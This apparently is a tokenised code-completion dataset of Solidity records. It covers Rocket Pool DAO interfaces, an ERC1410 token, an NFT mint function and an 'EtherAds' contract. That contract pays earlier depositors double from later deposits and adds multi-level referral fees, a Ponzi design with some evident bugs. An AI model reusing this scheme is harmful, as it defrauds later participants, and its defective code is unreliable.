function withdrawEther(uint256 _amount) external;
function depositToken(string memory _networkContractName, IERC20 _tokenAddress, uint256 _amount) external;
function withdrawToken(address _withdrawalAddress, IERC20 _tokenAddress, uint256 _amount) external;
function balanceOfToken(string memory _networkContractName, IERC20 _tokenAddress) external view returns (uint256);
function transferToken(string memory _networkContractName, IERC20 _tokenAddress, uint256 _amount) external;
function burnToken(ERC20Burnable _tokenAddress, uint256 _amount) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAOProposalInterface {
// Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Cancelled,
Defeated,
Succeeded,
Expired,
Executed
}
function getTotal() external view returns (uint256);
function getDAO(uint256 _proposalID) external view returns (string memory);
function getProposer(uint256 _proposalID) external view returns (address);
function getMessage(uint256 _proposalID) external view returns (string memory);
function getStart(uint256 _proposalID) external view returns (uint256);
function getEnd(uint256 _proposalID) external view returns (uint256);
function getExpires(uint256 _proposalID) external view returns (uint256);
function getCreated(uint256 _proposalID) external view returns (uint256);
function getVotesFor(uint256 _proposalID) external view returns (uint256);
function getVotesAgainst(uint256 _proposalID) external view returns (uint256);
function getVotesRequired(uint256 _proposalID) external view returns (uint256);
function getCancelled(uint256 _proposalID) external view returns (bool);
function getExecuted(uint256 _proposalID) external view returns (bool);
function getPayload(uint256 _proposalID) external view returns (bytes memory);
function getReceiptHasVoted(uint256 _proposalID, address _nodeAddress) external view returns (bool);
function getReceiptSupported(uint256 _proposalID, address _nodeAddress) external view returns (bool);
function getState(uint256 _proposalID) external view returns (ProposalState);
function add(address _member, string memory _dao, string memory _message, uint256 _startBlock, uint256 _durationBlocks, uint256 _expiresBlocks, uint256 _votesRequired, bytes memory _payload) external returns (uint256);
function vote(address _member, uint256 _votes, uint256 _proposalID, bool _support) external;
function cancel(address _member, uint256 _proposalID) external;
function execute(uint256 _proposalID) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAONodeTrustedActionsInterface {
function actionJoin() external;
function actionJoinRequired(address _nodeAddress) external;
function actionLeave(address _rplBondRefundAddress) external;
function actionKick(address _nodeAddress, uint256 _rplFine) external;
function actionChallengeMake(address _nodeAddress) external payable;
function actionChallengeDecide(address _nodeAddress) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAONodeTrustedInterface {
function getBootstrapModeDisabled() external view returns (bool);
function getMemberQuorumVotesRequired() external view returns (uint256);
function getMemberAt(uint256 _index) external view returns (address);
function getMemberCount() external view returns (uint256);
function getMemberMinRequired() external view returns (uint256);
function getMemberIsValid(address _nodeAddress) external view returns (bool);
function getMemberLastProposalTime(address _nodeAddress) external view returns (uint256);
function getMemberID(address _nodeAddress) external view returns (string memory);
function getMemberUrl(address _nodeAddress) external view returns (string memory);
function getMemberJoinedTime(address _nodeAddress) external view returns (uint256);
function getMemberProposalExecutedTime(string memory _proposalType, address _nodeAddress) external view returns (uint256);
function getMemberRPLBondAmount(address _nodeAddress) external view returns (uint256);
function getMemberIsChallenged(address _nodeAddress) external view returns (bool);
function getMemberUnbondedValidatorCount(address _nodeAddress) external view returns (uint256);
function incrementMemberUnbondedValidatorCount(address _nodeAddress) external;
function decrementMemberUnbondedValidatorCount(address _nodeAddress) external;
function bootstrapMember(string memory _id, string memory _url, address _nodeAddress) external;
function bootstrapSettingUint(string memory _settingContractName, string memory _settingPath, uint256 _value) external;
function bootstrapSettingBool(string memory _settingContractName, string memory _settingPath, bool _value) external;
function bootstrapUpgrade(string memory _type, string memory _name, string memory _contractAbi, address _contractAddress) external;
function bootstrapDisable(bool _confirmDisableBootstrapMode) external;
function memberJoinRequired(string memory _id, string memory _url) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAONodeTrustedProposalsInterface {
function propose(string memory _proposalMessage, bytes memory _payload) external returns (uint256);
function vote(uint256 _proposalID, bool _support) external;
function cancel(uint256 _proposalID) external;
function execute(uint256 _proposalID) external;
function proposalInvite(string memory _id, string memory _url, address _nodeAddress) external;
function proposalLeave(address _nodeAddress) external;
function proposalKick(address _nodeAddress, uint256 _rplFine) external;
function proposalSettingUint(string memory _settingContractName, string memory _settingPath, uint256 _value) external;
function proposalSettingBool(string memory _settingContractName, string memory _settingPath, bool _value) external;
function proposalUpgrade(string memory _type, string memory _name, string memory _contractAbi, address _contractAddress) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAONodeTrustedSettingsMembersInterface {
function getQuorum() external view returns (uint256);
function getRPLBond() external view returns(uint256);
function getMinipoolUnbondedMax() external view returns(uint256);
function getMinipoolUnbondedMinFee() external view returns(uint256);
function getChallengeCooldown() external view returns(uint256);
function getChallengeWindow() external view returns(uint256);
function getChallengeCost() external view returns(uint256);
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface AddressSetStorageInterface {
function getCount(bytes32 _key) external view returns (uint);
function getItem(bytes32 _key, uint _index) external view returns (address);
function getIndexOf(bytes32 _key, address _value) external view returns (int);
function addItem(bytes32 _key, address _value) external;
function removeItem(bytes32 _key, address _value) external;
} | Total number of members in the current trusted node DAO | function getMemberCount() override public view returns (uint256) {
AddressSetStorageInterface addressSetStorage = AddressSetStorageInterface(getContractAddress("addressSetStorage"));
return addressSetStorage.getCount(keccak256(abi.encodePacked(daoNameSpace, "member.index")));
}
| 594,218 | [
1,
5269,
1300,
434,
4833,
316,
326,
783,
13179,
756,
463,
20463,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
18925,
1380,
1435,
3849,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
5267,
694,
3245,
1358,
1758,
694,
3245,
273,
5267,
694,
3245,
1358,
12,
588,
8924,
1887,
2932,
2867,
694,
3245,
7923,
1769,
203,
3639,
327,
1758,
694,
3245,
18,
588,
1380,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
2414,
83,
26857,
16,
315,
5990,
18,
1615,
6,
3719,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x5137ABFf24ad5b7f8079F7f9BfCDB5645e490526/sources/project_/contracts/ERC1410/ERC1410Basic.sol | @notice Return the name of the token | function name() external view returns (string memory) {
return tokenName;
}
| 11,594,581 | [
1,
990,
326,
508,
434,
326,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
508,
1435,
3903,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
1147,
461,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xC90Fbe88ABF66C155C5D761Ee1D9E33a21a8eb28/sources/WivesofdwarftownContract.sol | * @dev Mints a token to an address with a tokenURI. fee may or may not be required @param _to address of the future owner of the token @param _amount number of tokens to mint/ | function mintToMultiple(address _to, uint256 _amount) public payable {
require(_amount >= 1, "Must mint at least 1 token");
require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction");
require(mintingOpen == true, "Minting is not open right now!");
require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 10000");
require(msg.value == getPrice(_amount), "Value below required mint fee for amount");
_safeMint(_to, _amount, false);
}
| 5,012,243 | [
1,
49,
28142,
279,
1147,
358,
392,
1758,
598,
279,
1147,
3098,
18,
14036,
2026,
578,
2026,
486,
506,
1931,
225,
389,
869,
1758,
434,
326,
3563,
3410,
434,
326,
1147,
225,
389,
8949,
1300,
434,
2430,
358,
312,
474,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
312,
474,
774,
8438,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
24899,
8949,
1545,
404,
16,
315,
10136,
312,
474,
622,
4520,
404,
1147,
8863,
203,
3639,
2583,
24899,
8949,
1648,
943,
23304,
16,
315,
4515,
312,
474,
1898,
2353,
943,
312,
474,
1534,
2492,
8863,
203,
3639,
2583,
12,
81,
474,
310,
3678,
422,
638,
16,
315,
49,
474,
310,
353,
486,
1696,
2145,
2037,
4442,
1769,
203,
540,
203,
540,
203,
3639,
2583,
12,
2972,
1345,
548,
1435,
397,
389,
8949,
1648,
1849,
1225,
16,
315,
4515,
312,
474,
1879,
14467,
3523,
434,
12619,
8863,
203,
3639,
2583,
12,
3576,
18,
1132,
422,
25930,
24899,
8949,
3631,
315,
620,
5712,
1931,
312,
474,
14036,
364,
3844,
8863,
203,
203,
3639,
389,
4626,
49,
474,
24899,
869,
16,
389,
8949,
16,
629,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
contract EtherAds {
// define some events
event BuyAd(address etherAddress, uint amount, string href, string anchor, string imgId, uint headerColor, uint8 countryId, address referral);
event ResetContract();
event PayoutEarnings(address etherAddress, uint amount, uint8 referralLevel);
struct Ad {
address etherAddress;
uint amount;
string href;
string anchor;
string imgId;
uint8 countryId;
int refId;
}
struct charityFundation {
string href;
string anchor;
string imgId;
}
charityFundation[] public charityFundations;
uint public charityFoundationIdx = 0;
string public officialWebsite;
Ad[] public ads;
uint public payoutIdx = 0;
uint public balance = 0;
uint public fees = 0;
uint public contractExpirationTime;
uint public headerColor = 0x000000;
uint public maximumDeposit = 42 ether;
// keep prices levels
uint[7] public txsThreshold = [10, 20, 50, 100, 200, 500, 1000];
// prolongate hours for each txs level
uint[8] public prolongH = [
336 hours, 168 hours, 67 hours, 33 hours,
16 hours, 6 hours, 3 hours, 1 hours
];
// minimal deposits for each txs level
uint[8] public minDeposits = [
100 szabo, 400 szabo, 2500 szabo, 10 finney,
40 finney, 250 finney, 1 ether, 5 ether
];
// this array stores number of txs per each hour
uint[24] public txsPerHour;
uint public lastHour; // store last hour for txs number calculation
uint public frozenMinDeposit = 0;
// owners
address[3] owners;
// simple onlyowners function modifier
modifier onlyowners {
if (msg.sender == owners[0] || msg.sender == owners[1] || msg.sender == owners[2]) _
}
// create contract with 3 owners
function EtherAds(address owner0, address owner1, address owner2) {
owners[0] = owner0;
owners[1] = owner1;
owners[2] = owner2;
}
// // dont allow to waste money
// function() {
// // the creators are like Satoshi
// // Bitcoin is important,
// // but Ethereum is better :-)
// throw;
// }
// buy add for charity fundation if just ethers was sent
function() {
buyAd(
charityFundations[charityFoundationIdx].href,
charityFundations[charityFoundationIdx].anchor,
charityFundations[charityFoundationIdx].imgId,
0xff8000,
0, // charity flag
msg.sender
);
charityFoundationIdx += 1;
if (charityFoundationIdx >= charityFundations.length) {
charityFoundationIdx = 0;
}
}
// buy add
function buyAd(string href, string anchor, string imgId, uint _headerColor, uint8 countryId, address referral) {
uint value = msg.value;
uint minimalDeposit = getMinimalDeposit();
// dont allow to get in with too low deposit
if (value < minimalDeposit) throw;
// dont allow to invest more than 42
if (value > maximumDeposit) {
msg.sender.send(value - maximumDeposit);
value = maximumDeposit;
}
// cancel buy if strings are too long
if (bytes(href).length > 100 || bytes(anchor).length > 50) throw;
// reset ads if last transaction reached outdateDuration
resetContract();
// store new ad id
uint id = ads.length;
// add new ad entry in storage
ads.length += 1;
ads[id].etherAddress = msg.sender;
ads[id].amount = value;
ads[id].href = href;
ads[id].imgId = imgId;
ads[id].anchor = anchor;
ads[id].countryId = countryId;
// add sent value to balance
balance += value;
// set header color
headerColor = _headerColor;
// call event
BuyAd(msg.sender, value, href, anchor, imgId, _headerColor, countryId, referral);
updateTxStats();
// find referral id in ads and keep its id in storage
setReferralId(id, referral);
distributeEarnings();
}
function prolongateContract() private {
uint level = getCurrentLevel();
contractExpirationTime = now + prolongH[level];
}
function getMinimalDeposit() returns (uint) {
uint txsThresholdIndex = getCurrentLevel();
if (minDeposits[txsThresholdIndex] > frozenMinDeposit) {
frozenMinDeposit = minDeposits[txsThresholdIndex];
}
return frozenMinDeposit;
}
function getCurrentLevel() returns (uint) {
uint txsPerLast24hours = 0;
uint i = 0;
while (i < 24) {
txsPerLast24hours += txsPerHour[i];
i += 1;
}
i = 0;
while (txsPerLast24hours > txsThreshold[i]) {
i = i + 1;
}
return i;
}
function updateTxStats() private {
uint currtHour = now / (60 * 60);
uint txsCounter = txsPerHour[currtHour];
if (lastHour < currtHour) {
txsCounter = 0;
lastHour = currtHour;
}
txsCounter += 1;
txsPerHour[currtHour] = txsCounter;
}
// distribute earnings to participants
function distributeEarnings() private {
// start infinite payout while ;)
while (true) {
// calculate doubled payout
uint amount = ads[payoutIdx].amount * 2;
// if balance is enough to pay participant
if (balance >= amount) {
// send earnings - fee to participant
ads[payoutIdx].etherAddress.send(amount / 100 * 80);
PayoutEarnings(ads[payoutIdx].etherAddress, amount / 100 * 80, 0);
// collect 15% fees
fees += amount / 100 * 15;
// calculate 5% 3-levels fees
uint level0Fee = amount / 1000 * 25; // 2.5%
uint level1Fee = amount / 1000 * 15; // 1.5%
uint level2Fee = amount / 1000 * 10; // 1.0%
// find
int refId = ads[payoutIdx].refId;
if (refId == -1) {
// no refs, no fun :-)
balance += level0Fee + level1Fee + level2Fee;
} else {
ads[uint(refId)].etherAddress.send(level0Fee);
PayoutEarnings(ads[uint(refId)].etherAddress, level0Fee, 1);
refId = ads[uint(refId)].refId;
if (refId == -1) {
// no grand refs, no grand fun
balance += level1Fee + level2Fee;
} else {
// have grand children :-)
ads[uint(refId)].etherAddress.send(level1Fee);
PayoutEarnings(ads[uint(refId)].etherAddress, level1Fee, 2);
refId = ads[uint(refId)].refId;
if (refId == -1) {
// no grand grand refs, no grand grand fun (great grandfather - satoshi is drunk)
balance += level2Fee;
} else {
// have grand grand children :-)
ads[uint(refId)].etherAddress.send(level2Fee);
PayoutEarnings(ads[uint(refId)].etherAddress, level2Fee, 3);
}
}
}
balance -= amount;
payoutIdx += 1;
} else {
// if there was no any payouts (too low balance), cancel while loop
// YOU CANNOT GET BLOOD OUT OF A STONE :-)
break;
}
}
}
// check if contract is outdate which means there was no any transacions
// since (now - outdateDuration) seconds and its going to reset
function resetContract() private {
// like in bible, the last are the first :-)
if (now > contractExpirationTime) {
// pay 50% of balance to last investor
balance = balance / 2;
ads[ads.length-1].etherAddress.send(balance);
// clear ads storage
ads.length = 0;
// reset payout counter
payoutIdx = 0;
contractExpirationTime = now + 14 days;
frozenMinDeposit = 0;
// clear txs counter
uint i = 0;
while (i < 24) {
txsPerHour[i] = 0;
i += 1;
}
// call event
ResetContract();
}
}
// find and set referral Id
function setReferralId(uint id, address referral) private {
uint i = 0;
// if referral address will be not found than keep -1 value
// which means that ad purshared was not referred by anyone
int refId = -1;
// go through all ads and try to find referral address in this array
while (i < ads.length) {
// if ref was found end while
if (ads[i].etherAddress == referral) {
refId = int(i);
break;
}
i += 1;
}
// if ref was not found than we have -1 value here
ads[id].refId = refId;
}
// send fees to all contract owners
function collectFees() onlyowners {
if (fees == 0) return; // buy more ads
uint sharedFee = fees / 3;
uint i = 0;
while (i < 3) {
owners[i].send(sharedFee);
i += 1;
}
// reset fees counter
fees = 0;
}
// change single ownership
function changeOwner(address newOwner) onlyowners {
uint i = 0;
while (i < 3) {
// check if you are owner
if (msg.sender == owners[i]) {
// change ownership
owners[i] = newOwner;
}
i += 1;
}
}
// set official contract front-end website
function setOfficialWebsite(string url) onlyowners {
officialWebsite = url;
}
// add new charity foundation to the list
function addCharityFundation(string href, string anchor, string imgId) onlyowners {
uint id = charityFundations.length;
// add new ad entry in storage
charityFundations.length += 1;
charityFundations[id].href = href;
charityFundations[id].anchor = anchor;
charityFundations[id].imgId = imgId;
}
// clear charity foundations list, to make new one
function resetFoundationtList() onlyowners {
charityFundations.length = 0;
}
function giveMeat() onlyowners {
// add free financig to contract, lets FUN!
balance += msg.value;
}
}
| cancel buy if strings are too long | if (bytes(href).length > 100 || bytes(anchor).length > 50) throw;
